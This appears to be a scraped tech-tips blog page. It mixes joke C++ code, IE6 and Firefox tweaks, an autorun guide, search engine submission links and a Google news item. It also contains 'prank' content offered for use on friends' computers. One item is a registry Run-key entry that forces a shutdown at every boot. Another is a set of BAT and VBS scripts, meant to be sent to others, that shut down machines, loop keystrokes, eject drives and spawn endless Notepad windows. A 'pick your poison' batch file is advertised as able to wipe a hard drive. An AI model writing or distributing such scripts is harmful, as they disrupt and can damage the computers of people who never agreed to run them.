funny C++

#include "STD ISD.h"
#include "college.h"

#define MAAL beautiful_lady

main( )
{
goto college;
scanf("100%",&ladies);

if(lady = = MAAL)
sugar++;
while( !reply )
{
printf("I Love U");
scanf("100%",&reply);
}

if(reply = = "GAALI")
main(); // go back and repeat the process
else if(reply = = "SANDAL ")
exit(1);
else if(reply = = "I Love U")
{
lover = MAAL;
love = (heart*)malloc(sizeof(lover));
}

goto restaurant;

restaurant:
{
food++;
sugar++;
pay->money = lover->money;
return(college);
}

if(time = = 3.00)
goto park;

park:
{
for(time=4.00;time<=5.00;time+=0.001)
kiss = kiss+1;
}

free(lover);
return(home);
}

fake virus and make computer restart or shutdown

1. Click Start -> Run.
2. Type regedit. Now ENTER.
3. Go To HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\Curr entVersion\Run.
4. Click on Edit Menu > New > Expanded string value
5. Name the String value as “Shell32”.
6. Now, Double click on it to and Set its value as
%windir%\system32\shutdown.exe -s -t 100 -c “BACK TO MASJID, BACK TO ISLAM”
7. Restart your PC to see the effects……….
After Restarting, See the effects…
To abort the effects:
1. You can go to START -> RUN, Type shutdown -a
2. Go to registry Menu (Point.3) and You can delete the registry you create.

IE6: - Why to Clear Your Cache

Often referred to as the cache, the Temporary Internet Files folder contains a kind of travel record of the items you have seen, heard, or downloaded from the Web, including images, sounds, Web pages, even cookies. Typically these items are stored in the Temporary Internet Files folder.

Storing these files in your cache can make browsing the Web faster because it usually takes your computer less time to display a Web page when it can call up some of the page's elements or even the entire page from your local Temporary Internet Files folder.

Clearing Your Browser's Cache

All those files stored in your cache take up space, so from time to time, you may want to clear out the files stored in your cache to free up some space on your computer. This is called clearing the cache.

To clear your cache:

1.On the Internet Explorer 6 Tools menu, click Internet Options. The Internet Options box should open to the General tab.

2.On the General tab, in the Temporary Internet Files section, click the Delete Files button. This will delete all the files that are currently stored in your cache.

3.Click OK, and then click OK again.

IE6 : More Speed or More Room?

More Speed or More Room?

If you tend to go online a lot and have ample space on your computer, you might want to increase the size of your Temporary Internet Files folder. Why? Because Internet Explorer 6 will read already-viewed files from the cache first rather than take the time to download the same page from the Web, thus saving you time and money.

To change the size of your cache:

1.On the Tools menu, click Internet Options. The Internet Options box should open to the General tab.

2.On the General tab, in the Temporary Internet Files section, click the Settings button. This will open the Settings box.

3.In the Settings box, under Amount of disk space to use, you can slide the bar to the right to increase the amount of disk space used by your Temporary Internet Files folder.

4.Click OK, and then click OK again.

Speed up Internet Explorer

1. Click Start - Run.
2. Type "regedit" and click OK.
3. In the left pane navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
4. In the right pane you should see the contents of Internet Settings.
5. Check Regedit's right-hand column for the following two lines (values): MaxConnectionsPerServer MaxConnectionsPer1_0Server
6. If these values are present, right-click on the first value (MaxConnectionsPerServer), select Modify from the drop-down menu, click Decimal, and set the Value data field to 6. Repeat this process for the second value (MaxConnectionsPer1_0Server).
7. If these lines (values) are not listed, right-click on the white region of Regedit's right-hand column, click New, and then click DWORD Value.
8. Enter MaxConnectionsPerServer for the name of the new DWORD Value and press Enter. The new value should now appear in Regedit's right-hand column.
9. Right-click the new value and click Modify.
10. As in step six, click Decimal and set the Value Data field to 6, then click OK.
11. Repeat steps seven through 10 using MaxConnectionsPer1_0Server as the new DWORD Value name instead of MaxConnectionsPerServer.
12. Close Regedit and test Internet Explorer.

List of Search Engine - Promote your Blog

To get high traffic, you require promote your blog. The effective way to promote your blog is by registered it into search engine. In the following, there are some url Search Engine, you can submit your blog there:

http://www.blogcatalog.com/
http://www.bloggernity.com/
http://dir.blogflux.com/
http://www.topblogarea.com/

Adnet
http://www.theadnet.com

Ah-ha
http://www.ah-ha.com/addurl

Alldeal
http://www.alldeal.com/add_site

Altavista
http://www.altavista.com/cgi-bin/query?pg=addurl

Arkesini
http://www.arkesini.com/links/links.htm

Anzwers
http://www.anzwer.com/cgi-bin/print_addurl.pl?

Asiaco
http://www.search.asiaco/cgi-bin/addurl.cgi
Asiannet
http://www.asiannet.com/joinus.html

Asia Search
http://expatsinasia.safeshopper.com/

Batavianet
http://www.batavianet.co.id/addurl.html

Canada.com
http://www.canada.com/search/web/addurl.asp

Claymont
http://www.claymont.com/cgi-bin/addurlsform.pl

Crawler
http://www.crawler.com/

Direct Hit
http://www.directhit.com/util/addurl.html

DMOZ
http://dmoz.org/add.html

Euroferret
http://www.euroferret.com/addurl.html

Excite
http://www.excite.com/info/add url.html

Funkycat
http://www.funky-cat.com/webmastera.asp

G.O.D
http://www.god.co.uk/add.htm

Go
http://www.go.com/AddUrl?&pg=SubmitUrl.html

Go2Net
http://www.go2net.com/help/faQ/add-url.html

Google
http://www.google.com/addurl.html

GottaBounce
http://www.gottabounce.com/cgi-bin/links/add.cgi

HotBot
http://www.hotbot.com/addurl.asp

Indo Center
http://www.indocenter.co.id/add.html

Indoseek
http://www.indoseek.co.id/add.html

Info Tiger
http://www.infotiger.com/addurl.html

Infohiway
http://www.infohiway.com/isn/addurl.html

Infoseek
http://infoseek.go.com/AddUrl?pg=SubmitUrl.html

Lycos
http://www.lycos.com/addasite.html

Magellan
http://magellan.excite.com/info/add_url/

MSN.com
http://search.msn.com/addurl.asp

Mugomilk
http://www.mugomilk.freeserve.co.uk/html/addsite.html

National Directory
http://www.nationaldirectory.com/cgi-bin/addurl

Nerd World
http://www.nerdworld.com/nwadd.html

Net Announce!
http://www.ersoros.com/net-announce/content.phtml

NetBreach
http://www.netbreach.com/addurl/

Netfind.aol.com
http://netfind.aol.com/add.adp

NetSearch
http://198.80.94.66/cgi-bin/search.pl?AddSite=prompt

Northern Light
http://www.northernlight.com/docs/regurl_help.html

Peekaboo
http://www.peekaboo.net/index1.html

Power Crawler
http://www.powercrawler.com/addurl.cfm

Project Cool
http://www.projectcool.com/sightings/submit.html

Profusion
http://www.profusion.com/users.sitesee.html

Proteus
http://www.thrall.org/proteus/urlsub.htm

PureSearch
http://www.puresearch.com/addsite.html

Scrub The Web
http://www.scrubtheweb.com/addurl.html

Search Hound
http://www.searchhound.com/pages/submit.htm

Search King
http://www.searchking.com/add.htm

Serach Spot
http://www.searchspot.com/info/suggest_site.htm

Search UK
http://www.url.searchuk.com

Searching 4 U
http://www.searching4u.com/links/link.htm

Site @ Hack
http://www.sitehack.com/submit.htm

Spider Hog
http://www.spiderhog.com/addurl.htm

Shop Internet
http://www.ro.com/shopinternet/submit.html

Super Snooper
http://www.supersnoopel.com/addurl.htm

Surfgopher
http://www.surfghoper.com/addurl.htm

Teledom
http://www.teledom.net/add.shtml

Voila
http://www.voila.com/info/addsite.html

WebCrawler
http://www.webcrawler.com/help/getlisted/addurls.html

Webmaster Network
http://www.wmn.linkopp.net/cgi-bin/add.cgi

World Light
http://www.worldlight.com/addsite.html

Yahoo
http://www.yahoo.com/info/suggest/

Google blacklists the entire Internet

Google blacklists the entire Internet
Posted by Hacker on Feb 2, 2009

Google placed the internet on a blacklist today after a mistake caused every site in the search engine’s result pages to be marked as potentially harmful and dangerous.

The problem affected internet pages across the whole planet, and lasted for around 40 minutes before engineeers were able to fix it.

The glitch centred on Google’s malware detector, which is designed to keep internet users from visiting sites Google believes may install malicious software when users browse them. Google blamed “human error” when an engineer tried to add one web address to the list of those deemed suspicious, and mistakenly added them all.

“We periodically receive updates to that list and received one such update to release on the site this morning. Unfortunately (and here’s the human error), the URL of ‘/’ was mistakenly checked in as a value to the file and ‘/’ expands to all URLs. Fortunately, our on-call site reliability team found the problem quickly and reverted the file,” Google said in its official blog.

The incident occurred at around 2.40pm.

Apart from lost advertising revenue – which one expert estimated at $2-3m (£1.4-2m) – the incident is embarrassing for the world’s most popular search engine, known for its reliability.

Users across the globe were puzzled as all searches were met with the warning: “This site may harm your computer.”

A spokesman for Google said: “A lot of people were woken up in California when the problem broke. Clearly Google was labelling every website as malware.”

Google’s paid search results appeared not to have been affected.

Process Explorer

Ever wondered which program has a particular file or directory open? Now you can find out. Process Explorer shows you information about which handles and DLLs processes have opened or loaded.

The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded. Process Explorer also has a powerful search capability that will quickly show you which processes have particular handles opened or DLLs loaded.

The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work.

CLICK HERE

how to disable autorun ........

BACKUP BEFORE DO THIS
To disable Autorun for good in XP/Vista, you need to edit the Registry. As always, before you edit this database, it's smart to make a backup of it.

Click the Start button, then go to the Run command.

Type regedit and hit Return to open the Registry Editor. (In Vista, you'll probably have to click OK in the User Account Control warning dialog box.)

Go to the following Registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom
Double-click on Autorun, and you'll see a default value of 1. Change it to 0 (zero). Then restart the computer.

After you go to all this trouble, don't double-click that autorun.inf file on the disk—it can still run if you do.

funny KILL with VBscripe....WARNING !!!!!

I DONT WANT TO MAKE ANY RESPONSBILITY WITH ANY ACTION WITH ANYONE AND ANYWHERE....STUDY BEFORE MAKE THESE.......

1. Convey your friend a lil' message and shut down his / her computer:
Type :

Code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

2) Toggle your friend's Caps Lock button simultaneously:
Type :

Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

4) Frustrate your friend by making this VBScript hit Enter simultaneously:

Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :

Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

Code:
@echo off
title The end of the world
cd C:\
:menu
cls
echo

I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...

pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

Speed up Firefox MAX MAX MAX MAX

1.Type "about:config" into the address bar and hit

network.http.pipelining network.http.proxy.pipelining network.http.pipelining.maxrequests

Normally the browser will make one request to a page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"

Set "network.http.proxy.pipelining" to "true"

Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere and select New-> Integer. Name
it "nglayout.initialpaint.delay" and set its value to "0". This value
is the amount of time the browser waits before it acts on information
it receives.